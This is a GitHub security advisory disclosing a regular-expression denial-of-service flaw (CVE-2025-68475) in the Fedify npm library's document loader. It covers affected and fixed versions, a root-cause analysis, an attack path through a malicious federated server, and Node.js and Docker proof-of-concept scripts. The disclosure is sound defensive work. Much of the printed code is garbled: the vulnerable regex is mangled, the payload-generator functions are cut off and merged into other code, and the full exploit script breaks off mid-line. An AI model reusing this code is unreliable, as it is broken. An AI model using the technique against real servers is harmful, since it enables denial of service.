GitHub Advisoryadvisory Β· npm
GHSA-rchf-xwx2-hm93 Fedify has ReDoS Vulnerability in HTML Parsing Regex
HIGH
Official page β
- Aliases
- CVE-2025-68475
- Ecosystem
- npm
- Packages
- @fedify/fedify
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1333
- Reviewed
- 2025-12-22
Affected packages
β’ npm @fedify/fedify: < 1.6.13 β fixed in 1.6.13
β’ npm @fedify/fedify: >= 1.7.0, < 1.7.14 β fixed in 1.7.14
β’ npm @fedify/fedify: >= 1.8.0, < 1.8.15 β fixed in 1.8.15
β’ npm @fedify/fedify: >= 1.9.0, < 1.9.2 β fixed in 1.9.2
Description
Hi Fedify team! π
Thank you for your work on Fedifyβit's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security.
---
Summary
A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at `packages/fedify/src/runtime/docloader.ts:259` contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses.
An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim's Node.js event loop for 14+ seconds, causing a Denial of Service.
| Field | Value |
|-------|-------|
| CWE | CWE-1333 (Inefficient Regular Expression Complexity) |
---
Details
Vulnerable Code
The vulnerability is located in `packages/fedify/src/runtime/docloader.ts`, lines 258-264:
```typescript
// Line 258-259: Vulnerable regex with nested quantifiers
const p =
/]+))+)\s*\/?>/ig;
// Line 261: No size limit on response body
const html = await response.text();
// Line 264: Regex execution loop
while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);
```
Root Cause Analysis
The regex has nested quantifiers with alternation, which is a classic ReDoS pattern:
```
/]+))+)\s*\/?>/ig
^^
Outer quantifier (+)
^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Inner pattern with alternation
```
β’ Outer quantifier: `((\s+...)+)` - one or more groups of attributes
β’ Inner alternation: `("[^"]*"|'[^']*'|[^\s>]+)` - multiple ways to match attribute values
When the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.
Attack Vector
1. Victim's Fedify application calls `lookupObject("https://attacker.com/@user")` to fetch an actor profile
2. Attacker's server responds with `Content-Type: text/html`
3. The code path: `lookupObject()` β `documentLoader()` β `getRemoteDocument()` β HTML parsing (lines 258-287)
4. Line 261: `response.text()` reads the entire body without size limits
5. Line 264: Regex execution triggers catastrophic backtracking
6. Event loop is blocked for seconds to minutes, causing DoS
Why This Is Exploitable
β’ No response size limit: The HTML body is read entirely via `response.text()` without Content-Length validation
β’ No timeout by default: `AbortSignal` is optional and not enforced
β’ Remote exploitation: Attacker just needs the victim to fetch from their URL
β’ No authentication required: Federation commonly involves fetching profiles from untrusted servers
β’ Amplifiable: Multiple concurrent requests can fully disable the service
---
PoC
Quick Reproduction (Node.js)
You can verify this vulnerability with the following standalone script:
```javascript
/**
β’ Fedify ReDoS Vulnerability - Minimal PoC
β’
β’ This script reproduces the vulnerable regex from docloader.ts
β’ and demonstrates exponential time complexity.
*/
// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /]+))+)\s*\/?>/ig;
/**
β’ Generate malicious HTML payload
β’ Pattern: )
*/
function generateMaliciousPayload(repetitions) {
return ']+))+)\s*\/?>/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
// Test with increasing payload sizes
console.log('Fedify ReDoS Vulnerability PoC\n');
console.log('Repetitions | Payload Size | Time');
console.log('------------|--------------|--------');
for (const reps of [18, 20, 22, 24, 26, 28]) {
const payload = generateMaliciousPayload(reps);
const start = performance.now();
simulateVulnerableCodePath(payload);
const elapsed = performance.now() - start;
const timeStr = elapsed >= 1000
? `${(elapsed / 1000).toFixed(2)}s`
: `${elapsed.toFixed(0)}ms`;
console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr}`);
// Stop if it's taking too long
if (elapsed > 15000) break;
}
```
Expected Output
```
Fedify ReDoS Vulnerability PoC
Repetitions | Payload Size | Time
------------|--------------|--------
18 | 111 bytes | 14ms
20 | 123 bytes | 51ms
22 | 135 bytes | 224ms
24 | 147 bytes | 852ms
26 | 159 bytes | 3.26s
28 | 171 bytes | 14.10s
```
Time approximately quadruples every 2 additional repetitions, demonstrating O(2^n) complexity.
Full Docker-Based PoC
For a complete demonstration, here are the Docker files to run the PoC in an isolated environment:
Dockerfile
```dockerfile
Dockerfile for Fedify ReDoS Vulnerability PoC
FROM node:20-slim
LABEL description="PoC for Fedify ReDoS vulnerability (CWE-1333)"
WORKDIR /poc
COPY exploit.js .
CMD ["node", "exploit.js"]
```
exploit.js (Full Version)
```javascript
/**
β’ Exploit Script for Fedify ReDoS PoC
β’
β’ This script demonstrates the ReDoS vulnerability in Fedify's
β’ document loader by measuring the time it takes to process
β’ malicious HTML responses with varying payload sizes.
*/
// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /]+))+)\s*\/?>/ig;
/**
β’ Generate malicious HTML payload
*/
function generateMaliciousHtml(repetitions) {
return '
Home
`;
}
/**
β’ Simulate the vulnerable code path from docloader.ts
*/
function simulateVulnerableCodePath(html) {
const p = /]+))+)\s*\/?>/ig;
const p2 = /\s+([a-z][a-z:_-]*)=("([^"]*)"|'([^']*)'|([^\s>]+))/ig;
let m;
const rawAttribs = [];
while ((m = p.exec(html)) !== null) {
rawAttribs.push(m[2]);
}
return rawAttribs;
}
/**
β’ Run a single test and measure execution time
*/
function runTest(html, description) {
const start = process.hrtime.bigint();
try {
simulateVulnerableCodePath(html);
} catch (e) {
// Ignore errors
}
const end = process.hrtime.bigint();
const durationMs = Number(end - start) / 1_000_000;
return {
description,
durationMs,
payloadLength: html.length
};
}
/**
β’ Print separator
*/
function printSeparator() {
console.log('β'.repeat(60));
}
/**
β’ Main exploit function
*/
async function main() {
console.log('\nββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ');
console.log('β Fedify ReDoS Vulnerability PoC β');
console.log('β CWE-1333: Inefficient Regular Expression β');
console.log('ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n');
console.log('[*] Vulnerability Location:');
console.log(' File: packages/fedify/src/runtime/docloader.ts');
console.log(' Lines: 259-264');
console.log('');
printSeparator();
console.log('[*] Testing normal HTML response...');
printSeparatorβ¦
Related
Alias Β· CVE (1)
- CVE-2025-68475 Fedify is a TypeScript library for building federated server apps powered by ActivityPub. vulnerability
Weakness Β· CWE (1)
- CWE-1333 Inefficient Regular Expression Complexity weakness
References
- https://github.com/fedify-dev/fedify/security/advisories/GHSA-rchf-xwx2-hm93 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-68475 advisory
- https://github.com/fedify-dev/fedify/commit/2bdcb24d7d6d5886e0214ed504b63a6dc5488779 web
- https://github.com/fedify-dev/fedify/commit/bf2f0783634efed2663d1b187dc55461ee1f987a web
- https://github.com/fedify-dev/fedify package
- https://github.com/fedify-dev/fedify/releases/tag/1.6.13 web
- https://github.com/fedify-dev/fedify/releases/tag/1.7.14 web
- https://github.com/fedify-dev/fedify/releases/tag/1.8.15 web
- https://github.com/fedify-dev/fedify/releases/tag/1.9.2 web